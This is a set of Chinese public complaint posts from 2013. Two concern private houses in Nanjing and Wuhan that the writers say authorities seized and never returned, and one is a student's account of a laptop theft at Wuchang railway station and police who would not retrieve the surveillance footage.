今年五月中旬我们在报上看到1958年国家经租的房产可以发还产权人,我们找到玄武区住建局,经过工作人员反复核对、仔细辨别,7月16日书面答复:(见附件)原长江路66、68号(丘号114170),据资料记载,并不在社会主义改造范围内,不属私房落实政策办公室处理。玄武区住建局确认原长江路66、68号属合法私有房产,却拒绝退房,不予补偿经济损失。

我们希望南京住建委以对党和人民高度负责的精神,为维护宪法权威、构建和谐社会,为国家长治久安,在此问题上理性回归到依法执政正轨中来,决不至于为坚持霸占私人合法房产而不惜付出损坏宪法权威、政府公信力和国家未来的惨痛代价。强烈要求正本清源,立即返还66、68号房产,补偿一切经济损失,以彰显国家行为的正当性、真实性,体现党中央依宪、依法治国的信心和决心,还原共和国法治社会的公平、正义。
            包建明 包建强 包建军  2013 10  28      手机:13151079605   15365105530
 
2013/10/29 8:06:24

赵晨光
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我是一名大三在校学生  于今日10:30分在武昌火车站买票进站准备去荆州  在候车厅的时候  一个陌生男子借故手机没电  想借我笔记本电脑冲下电  由于我没多想 就让他充电  然后就坐在我旁边开始与我搭讪 套取我的一些信息 不一会 那个男子问我早上有没有过早 我说没有 他就拿出二十元钱给我让我去买两份过早的 我就没去 因为我的电脑还在包里 过了一会   我就换了个地方坐了  他又跟过来了  由于没什么经验 我当时口有点渴就想去二楼候车厅的超市买点东西 就没多想 包也没拿 心想反正不远 就没有拿包 当时走时还犹豫了一下 那个男子边说 没事 我给你看着呢 这时 我就去超市买水了 等我回来没看见那个男子  一摸电脑  坏了  被偷了  于是急忙去一楼的执勤警察报案  在做完笔录之后 那个警察告诉我 可以去等车了 我说就这样完了? 那个警察说 我们会交给刑警队去破案的 然后由于我是一名学生 没说什么就去二楼等车,等我上去我突然发现我们后来坐的地方上面有一个硕大的摄像头  我于是又下去跟警察说了这个情况 让他们联系火车站的服务台调取监控录像 但那个警察说那个摄像头坏了两年了 什么都没拍到 就有跟我说了一些 我还是不太相信  就过去大厅的服务厅问工作人员 把情况跟他大致讲了一下 工作人员说那个监控是好的 但是录像是对内的 不会对我们这种乘客开放 那个工作人员态度也蛮好 可能看见我还是个学生吧  丢了电脑 心里着急 便告诉我 让我去找警察来一起调取录像 我便过去我报案的那个服务点 那个警察一看还是我 就说 不是让你去等消息吗 你怎么又回来了  我说 车站工作人员告诉我那个监控是好的  只是不能对乘客看 要警察出面才能调取,那个警察马上蛮横的说道  你是信他还是信我 我说是坏的就是坏的  我说就算坏了 一两年也没人去修理吗,那个警察说 修不修是车站的事  我们管不了 ,而且我报案的时候 那个小偷去旁边的超市买过水 超市面积并不到 我进去看到里面也有监控 我就对售货员说了下情况想看下录像  售货员说他做不了主  便打了个电话 问了下  结果是不对外看,还有乘客告诉我 这里的小偷都跟警察认识,在车站里面报案没用 让我去外面报案,我报案的时候问了下 这种情况以前乘客丢失的东西找回来过吗?那个警察说 我在这里干这么久还没有看到哪一位找回来过。后来我非要看录像 一位警察就说 摄像头录像的系统坏了  我们都进不去,就是调不了监控,后来有一位年轻的警察过来 他说让带我去火车站那个调度中心去看之后那个系统就是进不去 于是监控调取不了,他说让我死心吧,以后吸取教训 。在这里我发帖就是想要有关媒体能够进入这个火车站 希望有关部门介入调查 打击一下小偷的嚣张气焰 还我们乘客一个安全放心的乘车环境。
 
2013/10/13 17:07:19

彭汉宜
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法律为何在硚口区房产局竟然成为一纸空文? 尊敬的武汉市政府领导:                          您们好!    公民彭汉宜,系辛亥后裔,住湖北省武汉市硚口区中山大道23-1-8-3号。    祖父彭东亭(别名彭启金.辛亥有功人员.68年病故)原拥有一处私房,房产登记为硚口区中山大道69号。该房屋是祖父用生命换回的退伍安家费及多年劳动积蓄(在家养猪)慢慢购置的一处旧民房而合法所有,总计建筑面积约590多平方米,分前后两栋两层楼板房。1958年10月,响应号召,将后面一栋住房交由“国家经租”帐号(1771)。留下前面一栋房屋自住,门牌号改为中山大道63号、65号和三乐里79号。(见附件1)    1970年,荣华街办事处却将我自住房一楼(中山大道63号)强行占有使用,并办起荣华街运输队。谁知,在国家拨乱反正,要求清退“文革”中被侵占和没收的私房时,荣华街办事处却利用手中职权,串通硚口区房产公司一起编造各种虚假材料,污蔑我祖父成分是工商业,甚至谎称自住房是‘漏改房',于1978年10月19日抛出一份由硚口区革命委员会硚革(1978)26号勒令书,将我自住房屋中186.23平方米强行进行“无偿的社会主义改造”。(见附件2)简直荒唐之极!完全违背宪法和当时的政策规定的。其次没有与房主办理任何手续。      1992年,上述房屋被硚房公司纳入旧城改造,(原地拆除重建,拆一还一,1995年1月原地回迁安置时,拆除的私房又不明不白还成公房,每月还要交房租)我们的私房由于房产部门的错误,在拆迁补偿安置过程中,无法得到拆迁补偿与安置,甚至原留下的自住房74.91平方米在拆迁时测量只有63.33平方米,(见附件3)气得我父亲吊死在拆迁房里,含冤离世。(谁害得我家破人亡?)     如今,我们房主和继承人从未收到有关房产局的法律文书和通知书。我们房主和继承人至始至终都没有与房产部门办理过有关房屋的产权变更、转让和买卖登记、领款签字等一切手续。因此,从法律上讲该房屋依然是原产权人的私有合法房产。 至于硚口区房产局所描述的不实的谎言,什么该房屋问题已“作价补偿”和“案结事了”,于法无据。我是不能接受的。      1.房产部门利用手中的权利,绕开法律‘监守自盗’的‘划转’侵害公民的合法房产,无异于抢夺,房产所有权及土地使用权的取得与流转必须依法。所以.房管部门擅自签发的产权证是非法的。    2.现在.房产局继续无视宪法、物权法、土地法等相关法律规定,假借“落实政策”之名,谎称该房屋的问题是”案结事了“来愚弄房屋权利继承人,并以此来欺骗上级领导。这是非常之荒唐的!作为房屋的权利继承人合法财产和权利已经受到严重的侵害,我的房,业不由主!没有房主认可,是如何结案的?    综上所述:本人特恳求上级领导为我主持公道,查清历史真相。以法律为准绳,以事实为依据。为维护法律尊严和我们合法权益不再被侵犯。敬请上级领导支持我的合理诉求,依法依规合理合法的把1970年强占的合法私房,公平合理的腾退给原房屋的权利继承人,并赔偿由此产生的一切损失。为感! 此敬!                                                                                                                                            2013年10 月 6 日[face=黑体][/face]
 
2013/10/6 15:52:00
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